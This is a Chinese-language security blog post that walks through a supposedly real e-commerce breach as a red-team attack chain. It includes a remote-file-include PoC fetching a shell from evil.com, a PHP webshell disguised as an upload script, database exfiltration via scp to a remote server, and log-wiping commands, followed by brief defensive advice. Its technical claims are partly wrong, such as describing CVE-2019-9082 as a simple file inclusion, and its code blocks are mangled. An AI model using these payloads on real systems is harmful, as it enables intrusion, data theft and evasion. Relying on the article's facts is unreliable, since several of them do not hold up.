一、从某电商平台数据泄露说起
2023年年初,一家知名电商平台被曝出其用户数据在地下黑市公开售卖,涉及数百万用户的敏感信息。起初,平台方声称是“内部人员操作不当”,但随着更多细节被披露,安全圈发现,这是一场精心策划的红队攻击案例。攻击者利用了多个漏洞,从信息收集到权限提升,再到内网横向移动,最终成功窃取了核心数据库中的用户信息。
今天,通过这起真实安全事件,我们来聊聊网络安全圈子里的那些门道:从漏洞挖掘到渗透技巧、从攻击工具到防御思路,尝试还原攻击者的全链路操作。
---
二、0x01 攻击起点:信息收集的艺术
在每一次攻击行动中,情报收集是至关重要的一环。攻击者需要知道目标有哪些漏洞可以利用。以这起事件为例,攻击者通过公开的信息收集和简单扫描,就已经掌握了:

- 电商平台的子域名和对应 IP 地址;
- 哪些 Web 应用使用了老旧的框架(如ThinkPHP老版本);
- 是否暴露了敏感端点(如未授权的管理后台)。

1. 如何高效收集目标信息?
攻击者通常会用以下工具进行初步调查:
- 子域名收集:工具如
Amass或subfinder。 - 端口扫描:使用
nmap确定目标服务的开放端口。 - 指纹识别:比如
whatweb或Wappalyzer可快速识别 Web 服务框架和版本。
以下是一段简单的自动化信息收集脚本:
<pre><code class="language-bash">#!/bin/bash
快速收集目标信息的脚本
TARGET=$1
echo "[*] 收集子域名..." subfinder -d $TARGET | tee subdomains.txt
echo "[*] 扫描端口..." nmap -iL subdomains.txt -p 80,443 -oN ports.txt
echo "[*] 检测指纹..." while read domain; do whatweb $domain >> fingerprints.txt done < subdomains.txt
echo "[*] 信息收集完成,结果存储于当前目录。"</code></pre>
2. 实战案例:找出老旧的Web服务
在这起事件中,攻击者发现目标使用了一款老旧的 ThinkPHP 框架。通过公开的 CVE 库,他们锁定了一个未修复的远程代码执行漏洞(CVE-2019-9082)。攻击者准备了一份定制化的 Payload,用以触发漏洞。
---
三、0x02 Payload构造的艺术:从漏洞利用到权限提升
成功发现漏洞后,接下来的问题是如何武器化。攻击者通过精心构造的 Payload,利用了 ThinkPHP 的文件包含漏洞。
1. 漏洞成因分析
ThinkPHP 的某些版本中,在处理路由参数时,未对用户输入进行严格校验,导致攻击者可以通过精心构造的请求,执行任意代码。以下是漏洞触发的关键一行代码:
<pre><code class="language-php">include($_GET['file']);
如果开发者未对 'file' 参数做过滤, 攻击者可以注入恶意文件路径。</code></pre>
2. 漏洞利用代码(Python实现)
攻击者构造了以下 PoC 来触发漏洞,并获得 WebShell:
<pre><code class="language-python">import requests
目标 URL
target = "http://example.com/index.php"
构造恶意 payload,指向 /etc/passwd 或者远程 URL
payload = { "file": "http://evil.com/shell.php" }
发送请求
response = requests.get(target, params=payload)
if response.status_code == 200: print("[+] 漏洞利用成功!") else: print("[-] 漏洞利用失败。")</code></pre>
通过这种方式,攻击者在目标服务器上植入了一个 WebShell,用以进一步操作。
---
四、0x03 绕过检测:免杀与对抗的技巧
攻击者在植入 WebShell 后,面临的第一个问题是如何躲避安全设备(如 WAF 和 EDR)的检测。以下是常见的免杀技巧:
1. WebShell伪装
攻击者会将恶意代码隐藏在看似正常的代码中。例如,将 WebShell 嵌套到正常的图片上传脚本中:
<pre><code class="language-php"><?php if(isset($_POST['cmd'])) { system($_POST['cmd']); // WebShell 功能 } else { echo "图片上传成功!"; // 表面功能 } ?></code></pre>

2. 流量伪装
攻击者可能会通过编码或混淆技术来躲避流量检测。例如,将敏感数据用 Base64 编码后传输:
<pre><code class="language-bash"># 将命令结果用Base64编码 echo "ls -al" | base64</code></pre>
3. 内存加载免杀
为了躲避杀软,攻击者可以选择不写文件到磁盘,而是直接将恶意代码加载到内存中。这种技术需要结合工具(如 Cobalt Strike)实现。

---
五、0x04 横向移动:如何掏空内网
拿下 WebShell 只是起点,攻击者的真正目标是核心数据库。因此,他们继续向内网渗透。
1. 利用默认配置
这次攻击中,数据库的默认用户名和密码没有修改,攻击者轻松绕过验证,使用 mysql -u root -p 登录数据库。
2. 权限提升与利用
攻击者发现,目标服务器运行了一个老旧内核的 Linux 系统,存在本地提权漏洞(CVE-2022-0847)。随后,他们使用以下 EXP 提升权限:
<pre><code class="language-c">// Dirty Pipe 漏洞提权代码片段
include <fcntl.h>
include <unistd.h>
int main() { // 此处省略,完整 EXP 请参考公开资源。 }</code></pre>
通过提权,攻击者获得了 root 权限,可以任意操作整个服务器。
---
六、0x05 数据窃取与清除痕迹
最终目标是数据窃取。攻击者通过以下命令将数据库内容打包并上传到远程服务器:
<pre><code class="language-bash"># 导出数据库 mysqldump -u root -p ecommerce_db > dump.sql
压缩并上传
tar -czvf data.tar.gz dump.sql scp data.tar.gz [email protected]:/loot/</code></pre>
在完成窃取后,为了避免被追踪,攻击者清除了所有日志:
<pre><code class="language-bash"># 清除日志 echo "" > /var/log/auth.log echo "" > /var/log/apache2/access.log</code></pre>
---
七、0x06 从攻防中总结经验
攻击者的这次行动,可以用“教科书式”的攻击链来形容。对于甲方安全团队,我们可以从以下几个方面提升防御能力:
- 漏洞管理:定期扫描并修复老旧系统漏洞,比如升级 ThinkPHP。
- 强认证配置:禁用默认密码,强制使用复杂密码。
- 实时监控:部署 HIDS/NIDS(如 Osquery)监控系统行为。
- 日志分析:通过 SIEM 平台分析异常日志,及时发现入侵行为。
红队攻击的本质是“发现与利用”。作为防守方,我们需要用攻击者的视角来审视系统的薄弱点,才能有效提升安全性。